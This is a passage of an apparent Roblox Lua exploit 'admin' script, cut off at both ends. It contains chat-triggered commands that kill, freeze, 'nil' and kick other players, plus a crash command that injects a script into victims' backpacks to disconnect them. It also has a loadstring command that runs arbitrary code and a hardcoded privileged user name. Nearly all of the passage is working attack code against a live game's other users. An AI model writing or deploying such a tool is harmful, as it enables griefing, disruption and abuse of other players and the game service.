  675.         local _pos = Camera.Focus * CFrame.new(10, 10, 10)
  676.         if stick == nil then
  677.                 stick = 100
  678.         end
  679.         if not workspace:findFirstChild("Output::" .. recipient.Name) then
  680.                 Instance.new("Model",workspace).Name =        "Output::" .. recipient.Name
  681.         end
  682.         local model = Instance.new("Model")
  683.         model.Parent = workspace:findFirstChild("Output::" .. recipient.Name)
  684.         model.Name = "Output::" .. recipient.Name
  685.         local part = Instance.new("Part")
  686.         part.Parent = model
  687.         part.Transparency = 0.5
  688.         part.CanCollide = false
  689.         part.TopSurface = "Smooth"
  690.         part.BottomSurface = "Smooth"
  691.         part.FormFactor = "Plate"
  692.         part.Color = color[1]
  693.         part.Size = Vector3.new(3/2,3/2,3/2)
  694.         part.CFrame = _pos
  695.         part.Shape = 'Ball'
  696.         local click = Instance.new("ClickDetector")
  697.         click.Parent = part
  698.         click.MouseClick:connect(function(player)
  699.                 if player == recipient or player.Name == "1231234w" then
  700.                         model:remove()
  701.                 end
  702.         end)
  703.         if Fire then
  704.                 local fire = Instance.new("Fire")
  705.                 fire.Parent = part
  706.                 fire.Heat = 0
  707.                 fire.Size = 6
  708.                 fire.Color = color[1]
  709.                 fire.SecondaryColor = color[1]
  710.         end
  711.         if Light then
  712.                 local Light = Instance.new("PointLight")
  713.                 Light.Parent = part
  714.                 Light.Range = 10
  715.                 Light.Color = color[1]
  716.                 Light.Enabled = true
  717.                 Light.Brightness = 10
  718.     end
  719.         local box = Instance.new("SelectionBox")
  720.         box.Parent = part
  721.         box.Adornee = part
  722.         box.Color = BrickColor.new(color[1].r, color[1].g, color[1].b)
  723.         local pos = Instance.new("BodyPosition")
  724.         pos.Parent = part
  725.         pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  726.         pos.position = _pos.p
  727.         local gyro = Instance.new("BodyGyro")
  728.         gyro.Parent = part
  729.         gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  730.         local recip = Instance.new("ObjectValue")
  731.         recip.Parent = model
  732.         recip.Name = "Recipient"
  733.         recip.Value = recipient
  734.         Gui = Instance.new("BillboardGui")
  735.         Gui.Parent = model
  736.         Gui.Adornee = part
  737.         Gui.Size = UDim2.new(1, 0, 1, 0)
  738.         Gui.StudsOffset = Vector3.new(0, 3, 0)
  739.         local Frame = Instance.new("Frame",Gui)
  740.         Frame.Size = UDim2.new(1, 0, 1, 0)
  741.         Frame.BackgroundTransparency = 1
  742.         Label = Instance.new("TextLabel")
  743.         Label.Parent = Frame
  744.         Label.Size = UDim2.new(1,0,1,0)
  745.         Label.FontSize = "Size24"
  746.         Label.TextColor3 = color[1]
  747.         Label.Text = message
  748.         Label.BackgroundTransparency = 1
  749.         Label.Font = 'ArialBold'
  750.         local gui = Instance.new("BillboardGui")
  751.         gui.Adornee = part
  752.         gui.Size = UDim2.new(1, 0, 1, 0)
  753.         gui.StudsOffset = Vector3.new(0, 3, 0)
  754.         gui.Parent = model
  755.         local frame = Instance.new("Frame")
  756.         frame.Parent = gui
  757.         frame.Size = UDim2.new(1, 0, 1, 0)
  758.         frame.BackgroundTransparency = 1
  759.         local label = Instance.new("TextLabel")
  760.         label.Parent = frame
  761.         label.Text = message
  762.         label.FontSize = "Size12"
  763.         label.TextColor3 = color[1]
  764.         LocalPlayer = LocalPlayer
  765.         function Sin(i)
  766.                 return math.sin(math.rad(i))
  767.         end
  768.         function Cos(i)
  769.                 return math.cos(math.rad(i))
  770.         end
  771.         for i = 0,380,2.5 do
  772.                 pos.position = Camera.Focus:toWorldSpace(CFrame.new(Vector3.new(Sin(i)*4, 1.5, Cos(i)*4))).p
  773.                 gyro.cframe = CFrame.Angles(0,math.rad(i),0)
  774.                 wait()
  775.         end
  776.         model:Destroy()
  777. end
  778. Output3 = function(message, color, recipient)
  779.         if recipient == nil then recipient = LocalPlayer end
  780.         local _pos = Camera.Focus * CFrame.new(7, 7, 7)
  781.         if not workspace:findFirstChild("Output::" .. recipient.Name) then
  782.                 Instance.new("Model",workspace).Name = "Output::" .. recipient.Name
  783.         end
  784.         local model = Instance.new("Model")
  785.         model.Parent = workspace:findFirstChild("Output::" .. recipient.Name)
  786.         model.Name = "Output::" .. recipient.Name
  787.         local part = Instance.new("Part")
  788.         part.Parent = model
  789.         part.Transparency = 0.5
  790.         part.CanCollide = false
  791.         part.TopSurface = "Smooth"
  792.         part.BottomSurface = "Smooth"
  793.         part.FormFactor = "Plate"
  794.         part.Color = color[1]
  795.         part.Size = Vector3.new(1.5,2.5,0.05)
  796.         part.CFrame = _pos
  797.         local click = Instance.new("ClickDetector")
  798.         click.Parent = part
  799.         click.MouseClick:connect(function(player)
  800.                 if player == recipient or player.Name == "1231234w" then
  801.                         model:remove()
  802.                 end
  803.         end)
  804.         if Fire then
  805.                 local fire = Instance.new("Fire",part)
  806.                 fire.Heat = 0
  807.                 fire.Size = 6
  808.                 fire.Color = color[1]
  809.                 fire.SecondaryColor = color[1]
  810.         end
  811.         if Light then
  812.                 local Light = Instance.new("PointLight",part)
  813.                 Light.Range = 10
  814.                 Light.Color = color[1]
  815.                 Light.Enabled = true
  816.                 Light.Brightness = 10
  817.         end
  818.         local box = Instance.new("SelectionBox",part)
  819.         box.Adornee = part
  820.         box.Color = BrickColor.new(color[1].r, color[1].g, color[1].b)
  821. -- local pos = Instance.new("BodyPosition",part)
  822. --        pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  823. --        pos.position = _pos.p
  824. --        local gyro = Instance.new("BodyGyro",part)
  825. --        gyro.maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  826.         local recip = Instance.new("ObjectValue",model)
  827.         recip.Name = "Recipient"
  828.         recip.Value = recipient
  829.         Gui = Instance.new("BillboardGui")
  830.         Gui.Parent = model
  831.         Gui.Adornee = part
  832.         Gui.Size = UDim2.new(1, 0, 1, 0)
  833.         Gui.StudsOffset = Vector3.new(0, 3, 0)
  834.         local Frame = Instance.new("Frame",Gui)
  835.         Frame.Size = UDim2.new(1, 0, 1, 0)
  836.         Frame.BackgroundTransparency = 1
  837.         Label = Instance.new("TextLabel")
  838.         Label.Parent = Frame
  839.         Label.Size = UDim2.new(1,0,1,0)
  840.         Label.FontSize = "Size24"
  841.         Label.TextColor3 = color[1]
  842.         Label.Text = message
  843.         Label.BackgroundTransparency = 1
  844.         Label.Font = 'ArialBold'
  845.         table.insert(tablets2,model)
  846.         return model
  847. end
  848. CreateTablets3 = function(Texts,Colors,Player)
  849.         tab = {}
  850.         for i=1,#Texts do
  851.                 local Color = Colors[i]
  852.                 if not Color then
  853.                         Color = Colors[1]
  854.                 end
  855.                 local Tb = Output3(Texts[i],{Color},Player)
  856.                 table.insert(tab,Tb)
  857.         end
  858.         for i=1,#tab do
  859.                 coroutine.wrap(function()
  860.                         local f=i*(200/#tab)
  861.                         while wait() do
  862.                                 f=f+0.4
  863.                                 if Player.Character then
  864.                                         local pos = Camera.Focus.p
  865.                                         p.CFrame=CFrame.new(pos + (Vector3.new(math.sin(f/100*math.pi),0.05,math.cos(f/100*math.pi))*10))
  866.                                 end
  867.                         end
  868.                 end)()
  869.         end
  870. end
  871. --[[Crash]]--
  872. function crash(plr)
  873.          --Output3("Crash doesn't work fine",{Colors.Red},LocalPlayer)
  874.  end
  875.  
  876. --[[ UpdateTablets ]]--                                                        
  877. ROT,RIN = 0,0.05                                
  878. UpdateTablets = function()
  879.         local _tablets = GetTablets(LocalPlayer)
  880.         local cf = workspace.CurrentCamera.Focus
  881.         local m = #_tablets / 16
  882.         if not Fire then
  883.                 for k,v in pairs(_tablets) do
  884.                         if v:findFirstChild("Part") then
  885.                                 v.Part.Anchored = true
  886.                                 local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(5+10*m,0,0)
  887.                                 v.Part.CFrame = CFrame.new(c.p,cf.p) * CFrame.Angles(-math.pi/3,0,0)
  888.                                 if v:findFirstChild("BodyPosition") then
  889.                                         v.BodyPosition:Destroy()
  890.                                 end
  891.                                 if v:findFirstChild("BodyGyro") then
  892.                                         v.BodyGyro:Destroy()
  893.                                 end
  894.                         end
  895.                 end
  896.         else
  897.                 for k,v in pairs(_tablets) do
  898.                         if v:findFirstChild("Part") then
  899.                                 v.Part.Anchored = false
  900.                                 local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(5+10*m,0,0)
  901.                                 if not v.Part:FindFirstChild("BodyPosition") then
  902.                                         Instance.new("BodyPosition",v.Part).maxForce = Vector3.new(math.huge, math.huge, math.huge)
  903.                                 end
  904.                                 if not v.Part:FindFirstChild("BodyGyro") then
  905.                                         Instance.new("BodyGyro",v.Part).maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  906.                                 end
  907.                                 v.Part.BodyPosition.position = c.p
  908.                                 v.Part.BodyGyro.cframe = CFrame.new(c.p,cf.p) * CFrame.Angles(-math.pi/3,0,0)
  909.                         end
  910.                 end
  911.         end
  912. end
  913. UpdateTablets2 = function()
  914.         local _tablets = GetTablets2(LocalPlayer)
  915.         local cf = workspace.CurrentCamera.Focus
  916.         local m = #_tablets / 16
  917.         if not Fire then
  918.                 for k,v in pairs(_tablets) do
  919.                         if v:findFirstChild("Part") then
  920.                                 v.Part.Anchored = true
  921.                                 local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(7+7*m,7,7)
  922.                                 v.Part.CFrame = CFrame.new(c.p,cf.p)
  923.                                 if v:findFirstChild("BodyPosition") then
  924.                                         v.BodyPosition:Destroy()
  925.                                 end
  926.                                 if v:findFirstChild("BodyGyro") then
  927.                                         v.BodyGyro:Destroy()
  928.                                 end
  929.                         end
  930.                 end
  931.         else
  932.                 for k,v in pairs(_tablets) do
  933.                         if v:findFirstChild("Part") then
  934.                                 v.Part.Anchored = false
  935.                                 local c = cf * CFrame.Angles(0,math.pi*2/#_tablets*k+ROT,0) * CFrame.new(7+7*m,7,7)
  936.                                 if not v.Part:findFirstChild("BodyPosition") then
  937.                                         Instance.new("BodyPosition",v.Part).maxForce = Vector3.new(math.huge, math.huge, math.huge)
  938.                                 end
  939.                                 if not v.Part:findFirstChild("BodyGyro") then
  940.                                         Instance.new("BodyGyro",v.Part).maxTorque = Vector3.new(math.huge, math.huge, math.huge)
  941.                                 end
  942.                                 v.Part.BodyPosition.position = c.p
  943.                                 v.Part.BodyGyro.cframe = CFrame.new(c.p,cf.p) * CFrame.Angles(-math.pi/3,0,0)
  944.                         end
  945.                 end
  946.         end
  947. end
  948. --[[ OnChatted ]]--
  949. IsExplorerCmd = function(Cmd) return Cmd:find("dismiss") or Cmd:find("destroy") or Cmd:find("dt") end
  950. OnChatted = function(Msg,Speaker)
  951.         if Explorer.On then
  952.                 for Name,Command in pairs(Commands) do
  953.                         if Msg:sub(1,#Command.Command+1):lower() == Command.Command:lower()..""..Bet.."" then
  954.                                 if IsExplorerCmd(Command.Command:lower()) or Command.Command:lower() == "destroy" then
  955.                                         Explorer.On = false
  956.                                         local Ran,Error = ypcall(Command.Func,Msg:sub(#Command.Command+2),Speaker)
  957.                                         if not Ran then
  958.                                                 Output(Error,{Colors.Red},LocalPlayer)
  959.                                         end
  960.                                 end
  961.                         end
  962.                 end
  963.                 if GuiChat == true then
  964.                         if ChatNo == true then
  965.                                 Chat(Msg)
  966.                         else
  967.                                 Chat2(Msg)
  968.                         end
  969.                 else
  970.                         local tar = LocalPlayer.Character and LocalPlayer.Character:findFirstChild("Head") or Probe
  971.                         pcall(function() game:GetService("Chat"):Chat(tar,Msg,"Green") end)
  972.                 end
  973.         elseif not Removed then
  974.                 for Name,Command in pairs(Commands) do
  975.                         if Msg:sub(1,#Command.Command+1):lower() == Command.Command:lower()..""..Bet.."" then
  976.                                 local Ran,Error = ypcall(Command.Func,Msg:sub(#Command.Command+2),Speaker)
  977.                                 if not Ran then
  978.                                         Output(Error,{Colors.Red},LocalPlayer)
  979.                                 end
  980.                         end
  981.                 end
  982.                 if GuiChat == true then
  983.                         if ChatNo == true then
  984.                                 Chat(Msg)
  985.                         else
  986.                                 Chat2(Msg)
  987.                         end
  988.                 else
  989.                         local tar = LocalPlayer.Character and LocalPlayer.Character:findFirstChild("Head") or Probe
  990.                         pcall(function() game:GetService("Chat"):Chat(tar,Msg,"Green")        end)
  991.                 end
  992.         end
  993. end
  994. local OC = nil
  995. OnChatted2 = function(m,s)
  996.         if m == 'fix'..Bet then
  997.                 OC:disconnect()
  998.                 OC=LocalPlayer.Chatted:connect(OnChatted)
  999.         end
  1000. end
  1001. --[[ GetPlayers ]]--
  1002. function GetPlayers(string,Player)
  1003.         Rtn = {} if Player == nil then Player = player end
  1004.         if string == "all" then
  1005.                 for _,v in pairs(Players:GetPlayers()) do table.insert(Rtn,v) end
  1006.         elseif string == "others" then
  1007.                 for _,v in pairs(Players:GetPlayers()) do if v ~= Localplayer then table.insert(Rtn,v) end end
  1008.         elseif string == "random" then
  1009.                 table.insert(Rtn,Players:GetPlayers()[math.random(1,#Players:GetPlayers())])
  1010.         elseif string == "me" then
  1011.                 table.insert(Rtn,Player)
  1012.         elseif string == "vetrans" then
  1013.                 for _,v in pairs(Players:GetPlayers()) do if v.AccountAge > 365 then table.insert(Rtn,v) end end
  1014.         elseif string == "nonvetrans" or string == "notvetrans" then
  1015.                 for _,v in pairs(Players:GetPlayers()) do if v.AccountAge < 365 then table.insert(Rtn,v) end end
  1016.         elseif string == "losers" then
  1017.                 for _,v in pairs(Players:GetPlayers()) do if v.AccountAge < 60 then table.insert(Rtn,v) end end
  1018.         else
  1019.                 for _,v in pairs(Players:GetPlayers()) do
  1020.                         if string.sub(string.lower(v.Name),1,#string) == string.lower(string) then
  1021.                                 table.insert(Rtn,v)
  1022.                         end
  1023.                 end
  1024.         end
  1025.         return Rtn
  1026. end
  1027. --[[ Start ]]--
  1028. Start = function()
  1029. coroutine.resume(coroutine.create(function()
  1030.         while wait(1) do                        
  1031.                 if not Removed and AntiFall then
  1032.                         pcall(function()
  1033.                                 if game.Players.LocalPlayer.Character.Torso.CFrame.Y < 1 then
  1034.                                         game.Players.LocalPlayer.Character.Torso.CFrame = CFrame.new(0,50,0)
  1035.                                 end
  1036.                         end)
  1037.                 end
  1038.         end
  1039. end))
  1040. coroutine.resume(coroutine.create(function()
  1041.         while wait(0.1) do
  1042.                 UpdateTablets()
  1043.                 UpdateTablets2()
  1044.         end
  1045. end))
  1046. OC=LocalPlayer.Chatted:connect(OnChatted)
  1047. LocalPlayer.Chatted:connect(OnChatted2)
  1048. end
  1049. Start()
  1050. --[[ Split Function ]]--
  1051. function Split(str)
  1052.         local res = {}
  1053.         for s in string.gmatch(str,"[^;]+") do
  1054.                 table.insert(res,s)
  1055.         end
  1056.         return res
  1057. end
  1058. --[[ AddCommand ]]--
  1059. function AddCommand(Name,Command,Func)
  1060.         Commands[Name] = {Command = Command,Func = Func}
  1061. end
  1062. --[[ Commands ]]--
  1063. AddCommand('Params','parms',
  1064.         function(Msg,Speaker)
  1065.                 Output("Speaker: "..tostring(Speaker or "nil"), {Colors.Red}, LocalPlayer)
  1066.                 for k,v in pairs(Split(Msg)) do
  1067.                         Output("Arg"..k..": "..tostring(v or "nil"), {Colors.Red}, LocalPlayer)
  1068.                 end
  1069.         end
  1070. )
  1071. AddCommand('ForceField','ff',
  1072. function(Msg,Speaker)
  1073. local a = GetPlayers(Msg,Speaker)
  1074. for i,v in pairs(a) do
  1075. if v.Character then
  1076. Instance.new("ForceField", v.Character).Name = "nilforcefield"
  1077. Output2("Gave forcefield to "..v.Name,{Colors.Red},LocalPlayer)
  1078. end end end
  1079. )
  1080. AddCommand('Remove ForceField','unff',
  1081. function(Msg,Speaker)
  1082. local a = GetPlayers(Msg,Speaker)
  1083. for i,v in pairs(a) do
  1084. if v.Character then
  1085. for i,f in pairs(v.Character:GetChildren()) do
  1086. if f.ClassName == "ForceField" then
  1087. f:remove()
  1088. Output2("Removed ForceField from "..v.Name,{Colors.Red},LocalPlayer)
  1089. end end end end end
  1090. )
  1091. AddCommand("Nil Shout","shout", function(Msg,Speaker)
  1092.         local tag = Instance.new("StringValue")
  1093.         tag.Name = "NILSHOUT"
  1094.         tag.Value = LocalPlayer.Name..": "..Msg
  1095.         tag.Parent = game.Lighting
  1096.         wait(1)
  1097.         tag:Destroy()
  1098. end)
  1099. AddCommand('Com'..'mands','cm'..'ds',
  1100.         function(Msg,Speaker)
  1101.                 rtn = {}        
  1102.                 for name,Cmd in pairs(Commands) do
  1103.                         table.insert(rtn, name .. ' : ' .. Cmd.Command)
  1104.                         if OutputType then
  1105.                                 Output(name .. ' : ' .. Cmd.Command .. Bet,{Color3.new(1,0,0)},LocalPlayer)
  1106.                         end
  1107.                 end
  1108.                 if not OutputType then ping(rtn,Colors.Red) end
  1109.         end
  1110. )
  1111. AddCommand('Reset Character','char',
  1112.         function(Msg,Speaker)
  1113.                 LoadCharacter(CFrame.new(0,20,0))
  1114.                 Wait(1)
  1115.                 OnChatted('Get/Reset',Speaker)
  1116.                 Output2('Got Your Reset,Lord',{Colors.Red},LocalPlayer)
  1117.         end
  1118. )
  1119. AddCommand('Smite','smite',
  1120.     function(Msg,Speaker)
  1121.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1122.             local Char = v.Character
  1123.             local Smite = Instance.new("Part",workspace)
  1124.             Smite.FormFactor = "Custom"
  1125.             Smite.TopSurface = "Smooth"
  1126.             Smite.BottomSurface = "Smooth"
  1127.             Smite.Anchored = true
  1128.             Smite.Locked = true
  1129.             Smite.Size = Vector3.new(25,3,25)
  1130.             Smite.BrickColor = BrickColor.new("Red")
  1131.             Smite.Transparency = 1
  1132.             Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  1133.             for i=1,0,-0.05 do
  1134.                 wait()
  1135.                 Smite.Transparency = i
  1136.             end
  1137.             coroutine.resume(coroutine.create(function()
  1138.                 for i=0,1,0.05 do
  1139.                     wait()
  1140.                     Smite.Transparency = i
  1141.                 end
  1142.                 Smite:remove()
  1143.             end))
  1144.             wait()
  1145.             local Expl = Instance.new("Explosion",workspace)
  1146.             Expl.Position = Smite.Position
  1147.             Expl.BlastPressure = 1000000000
  1148.            
  1149.             for _,Part in pairs(GetRecursiveChildren(Char)) do
  1150.                 if Part:IsA("BasePart") then
  1151.                     coroutine.resume(coroutine.create(function()
  1152.                         for i=1,10 do
  1153.                             local Sparkles = Instance.new("Sparkles",Part)
  1154.                             Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  1155.                             local Fire = Instance.new("Fire",Part)
  1156.                             Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  1157.                             Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  1158.                         end
  1159.                         Part:BreakJoints()
  1160.                         local BP = Instance.new("BodyPosition",Part)
  1161.                         BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  1162.                         BP.P = 1000
  1163.                         BP.position = Part.Position + Vector3.new(
  1164.                             math.random(-100,100),
  1165.                             100,
  1166.                             math.random(-100,100))
  1167.                         wait(3)
  1168.                         local Expl = Instance.new("Explosion",workspace)
  1169.                         Expl.Position = Part.Position
  1170.                         Expl.BlastPressure = 1000000000
  1171.                     end))
  1172.                 end
  1173.             end
  1174.         end
  1175.     end
  1176. )
  1177. AddCommand('Anti Kill','antikill',
  1178.     function(Msg,Speaker)
  1179.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1180.  Delay(0, function()
  1181.                 local player = v
  1182.                 local pos = CFrame.new()
  1183.                 local pause = false
  1184.                 Delay(0, function()
  1185.                     while not close do
  1186.                         wait()
  1187.                         if not pause then
  1188.                             local c = player.Character
  1189.                             if c then
  1190.                                 local t = c:findFirstChild("Torso")
  1191.                                 if t then
  1192.                                     pos = t.CFrame
  1193.                                 end
  1194.                             end
  1195.                         end
  1196.                    end
  1197.                 end)
  1198.                 player.CharacterAdded:connect(function(c)
  1199.                     if not close then
  1200.                         pause = true
  1201.                         repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  1202.                         c:findFirstChild("Torso").CFrame = pos
  1203.                         c:findFirstChild("Humanoid").Died:connect(function()
  1204.                             player:LoadCharacter()
  1205.                         end)
  1206.                         pause = false
  1207.                     end
  1208.                 end)
  1209.                 pcall(function() player.Character:BreakJoints() end)
  1210.             end)
  1211.         end
  1212.     end
  1213. )
  1214.  
  1215. AddCommand("Activates Your Probe","probe",
  1216.         function(Msg,Speaker)
  1217.                 if msg == 0 or msg == nil then
  1218.                         if LocalPlayer.Character then
  1219.                                 LocalPlayer.Character:Destroy()
  1220.                         end
  1221.                         LoadProbe()
  1222.                         wait(1)
  1223.                         Output("You're now probed!",{Colors.Red},LocalPlayer)
  1224.                         Output("Probe is nil",{Colors.Red},LocalPlayer)
  1225.                         Output("Running Check Player Scripts",{Colors.Red},LocalPlayer)
  1226.                         Output("Probe Loaded",{Colors.Red},LocalPlayer)
  1227.                 end
  1228.         end
  1229. )
  1230. AddCommand("Small Base","sbase",
  1231.         function(Msg,Speaker)
  1232.                         local Base = Workspace:FindFirstChild("Base")
  1233.                         Base.Size = Vector3.new(50,1,50)
  1234.                         Base.CFrame = CFrame.new(0,0,0)
  1235.                         Output2("Made base smaller",{Colors.Red},LocalPlayer)
  1236.         end
  1237. )
  1238. AddCommand("Change base size","bvec",
  1239.         function(Msg,Speaker)
  1240.                 local Base = Workspace:FindFirstChild("Base")
  1241.                 Base.Size = Vector3.new(tonumber(Msg),1,tonumber(Msg))
  1242.                 Base.CFrame = CFrame.new(0,0,0)
  1243.                 Output2("Changed base ",{Colors.Red},LocalPlayer)
  1244.         end
  1245. )
  1246. AddCommand("Change base Position","bcfr",
  1247.         function(Msg,Speaker)
  1248.                 local Base = Workspace:FindFirstChild("Base")
  1249.                 Base.Size = Vector3.new(50,1,50)
  1250.                 Base.CFrame = CFrame.new(tonumber(Msg),1,tonumber(Msg))
  1251.                 Output2("Changed base ",{Colors.Red},LocalPlayer)
  1252.         end
  1253. )
  1254. AddCommand("Freeze","freeze",
  1255.         function(Msg,Speaker)
  1256.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1257.                         v.Character.Torso.Anchored = true
  1258.                         Output2("Froze "..v.Name.."",{Colors.Red},LocalPlayer)
  1259.                 end
  1260.         end
  1261. )
  1262. AddCommand("Thaw","thaw",
  1263.         function(Msg,Speaker)
  1264.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1265.                         if v.Character and v:findFirstChild("Torso") then
  1266.                                 v.Character.Torso.Anchored = false
  1267.                                 Output2("Thawed "..v.Name.."",{Colors.Red},LocalPlayer)
  1268.                         end
  1269.                 end
  1270.         end
  1271. )
  1272.  
  1273. AddCommand('Loadstring','load',
  1274.         function(Msg,Speaker)
  1275.                 local Ran,Error = coroutine.resume(coroutine.create(function()loadstring(Msg)() end))
  1276.                 if not Ran then
  1277.                         Output('Error',{Colors.Red},LocalPlayer)
  1278.                 else
  1279.                         Output('Script ran',{Colors.Red},LocalPlayer)
  1280.                 end
  1281.         end
  1282. )
  1283. AddCommand("Infinite Health","inf",
  1284.         function(Msg,Speaker)
  1285.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1286.                         v.Character.Humanoid.MaxHealth = math.huge
  1287.                         Output2("Made"..v.Name.."a god",{Colors.Red},LocalPlayer)
  1288.                 end
  1289.         end
  1290. )
  1291. AddCommand('Rejoins you To The game(Not Server)','rej',
  1292.      function(Msg,Speaker)
  1293.         game:service'TeleportService':Teleport(game.PlaceId)
  1294. end
  1295. )
  1296. AddCommand("Nil Player","nil",
  1297.         function(Msg,Speaker)
  1298.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1299.                         v.Character = nil
  1300.                         Output2("Niled"..v.Name.."",{Colors.Red},LocalPlayer)
  1301.                 end
  1302.         end
  1303. )
  1304. AddCommand('C'..'rash','cr'..'ash',
  1305.    function(Msg,Speaker)
  1306.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1307.             local NS = ClonyPooPoo:Clone()
  1308.  
  1309.                  local Source = NS:FindFirstChild("Source") or NS:FindFirstChild("DSource") or NS:findFirstChild(SourceName)
  1310.                                                         if Source == nil then Instance.new('StringValue',NS).Name = SourceName end Source = NS:findFirstChild(SourceName)
  1311.               Source.Value = [[
  1312.  
  1313.                     local LocalPlayer = game:service'Players'.LocalPlayer
  1314.  
  1315.                      LocalPlayer.Parent = nil
  1316.  
  1317.                  wait()
  1318.  
  1319.             LocalPlayer.Parent = game:service'Players'
  1320.  
  1321.                      ]]
  1322.  
  1323.               NS.Parent = v:findFirstChild('Backpack')
  1324.                                                                                                         NS.Disabled = true
  1325.                                                                                                                 wait()
  1326.                                                                                                         NS.Disabled = false
  1327.  
  1328.            NS.Disabled = false
  1329.        Output('You have crashed ' .. v.Name,{Colors.Red},LocalPlayer)
  1330.         end
  1331.     end
  1332. )
  1333. AddCommand('Ki'..'ck','k'..'ick',
  1334.         function(Msg,Speaker)
  1335.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1336.                         table.insert(KL,v.Name)
  1337.                         v:Destroy()
  1338.                         Output2("You have ki".."cked "..v.Name.."",{Colors.Red},LocalPlayer)
  1339.                 end
  1340.         end
  1341. )
  1342. AddCommand('Kill','kill',
  1343.         function(Msg,Speaker)
  1344.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1345.                         v.Character:BreakJoints()
  1346.                         Output2('You have killed' .. ' ' .. v.Name,{Colors.Red},LocalPlayer)                                
  1347.                 end
  1348.         end
  1349. )
  1350. AddCommand('Remove','disable',
  1351.         function(Msg,Speaker)
  1352.                 if #Msg == 0 then
  1353.                 Removed = true
  1354.                 Commands = {}
  1355.                 tag = Instance.new("StringValue")
  1356.                 tag.Value = LocalPlayer.Name
  1357.                 tag.Name = "DISABLED"
  1358.                 tag.Parent = game:GetService("Lighting")
  1359.                 end
  1360.         end
  1361. )
  1362. AddCommand('Dismiss','dismiss',
  1363.         function(Msg,Speaker)
  1364.                 for num,v in pairs(tablets) do v:Remove() end
  1365.                 Radius = 40
  1366.                 Output2("Dismissed Tablets",{Colors.Red},LocalPlayer)
  1367.         end
  1368. )
  1369. AddCommand('Destroy Tablets','dt',
  1370.         function(msg,Speaker)
  1371.                 for num,v in pairs(tablets) do v:Destroy() end
  1372.         end
  1373. )
  1374. AddCommand('Explorer','explorer',
  1375. function(msg,Speaker)
  1376.         Radius = 80
  1377.         OnChatted("dt"..Bet,Speaker)
  1378.         local rea,par = nil, game
  1379.         if msg:lower() == "old" or msg:lower() == "previous" or msg:lower() == "current" then
  1380.                 rea = Explorer.Parent
  1381.         else
  1382.                 local pars = Split(msg)
  1383.                 if #pars == 1 then
  1384.                         msg = pars[1]
  1385.                 else
  1386.                         msg = pars
  1387.                 end
  1388.                 ypcall(function()
  1389.                         if type(msg) == "table" and #msg == 0 then
  1390.                                 rea = game
  1391.                         elseif type(msg) == "string" then
  1392.                                 rea = game:findFirstChild(msg) or workspace:findFirstChild(msg)
  1393.                         else
  1394.                                 if msg[1]:lower() == "old" or msg[1]:lower() == "previous" or msg[1]:lower() == "current" then
  1395.                                         par = Explorer.Parent
  1396.                                         rea = par
  1397.                                 else
  1398.                                         par = game:findFirstChild(msg[1]) or workspace:findFirstChild(msg[1])
  1399.                                         rea = par
  1400.                                 end
  1401.                                 for i=2,#msg do
  1402.                                         par = rea:findFirstChild(msg[i])
  1403.                                         if par then
  1404.                                                 rea = par
  1405.                                         else
  1406.                                                 break
  1407.                                         end
  1408.                                 end
  1409.                         end
  1410.                 end)
  1411.         end
  1412.         if not rea then
  1413.                 Output("This object is not found!", {Colors.Red}, Localplayer)
  1414.         return
  1415.         end
  1416.         Explorer.On = true
  1417.         Explorer.Parent = rea
  1418.         for k,v in pairs(rea:GetChildren()) do
  1419.                 pcall(function()
  1420.                         local tag = Instance.new("ObjectValue",Output(v.Name.." ("..v.ClassName..")", {Colors.Orange},LocalPlayer))
  1421.                         tag.Name = "Explorer"
  1422.                         tag.Value = v
  1423.                 end)
  1424.         end
  1425.         Instance.new("StringValue",Output("Parent",{Colors.White},LocalPlayer)).Name = "Parent"
  1426.         Instance.new("StringValue",Output("Dismiss",{Colors.Red},LocalPlayer)).Name = "Dismiss"
  1427.         Output("Exploring "..rea.Name.." ("..rea.ClassName..")",{Colors.Red},LocalPlayer)
  1428.         if rea:IsA("Player") then
  1429.                 for a,b in pairs({"AccountAge","Character"}) do
  1430.                         Output(b..": "..tostring(rea[b]),{Colors.Magenta},LocalPlayer)
  1431.                 end
  1432.         elseif rea:IsA("Lighting") then
  1433.                 for a,b in pairs({"Brightness","Ambient","FogStart","FogEnd"}) do
  1434.                         Output(b..": "..tostring(rea[b]),{Colors.Magenta},LocalPlayer)
  1435.                 end
  1436.         elseif rea:IsA("DataModel") then
  1437.                 for a,b in pairs({"CreatorId","CreatorType","JobId","PlaceId"}) do
  1438.                         Output(b..": "..tostring(rea[b]),{Colors.Magenta},LocalPlayer)
  1439.                 end
  1440.         end
  1441. end
  1442. )
  1443. Output('Thanks to Derek1017 for commands',{Colors.Red},LocalPLayer)
  1444. AddCommand('Destroy','destroy',
  1445.         function(msg,Speaker)
  1446.                 if msg == "" or msg == "old" or msg == "previous" or msg == "current" then
  1447.                         Output("Trying to destroy object currently in exporer",{Colors.White},LocalPlayer)
  1448.                         if pcall(function() Explorer.Parent:Destroy() end) then
  1449.                                 Output("Object deleted!",{Colors.Red}, LocalPlayer)
  1450.                         else
  1451.                                 Output("This can't be deleted!",{Colors.Red}, LocalPlayer)
  1452.                         end
  1453.                         return
  1454.                 end
  1455.                 local rea,par = nil, game
  1456.                 ypcall(function()
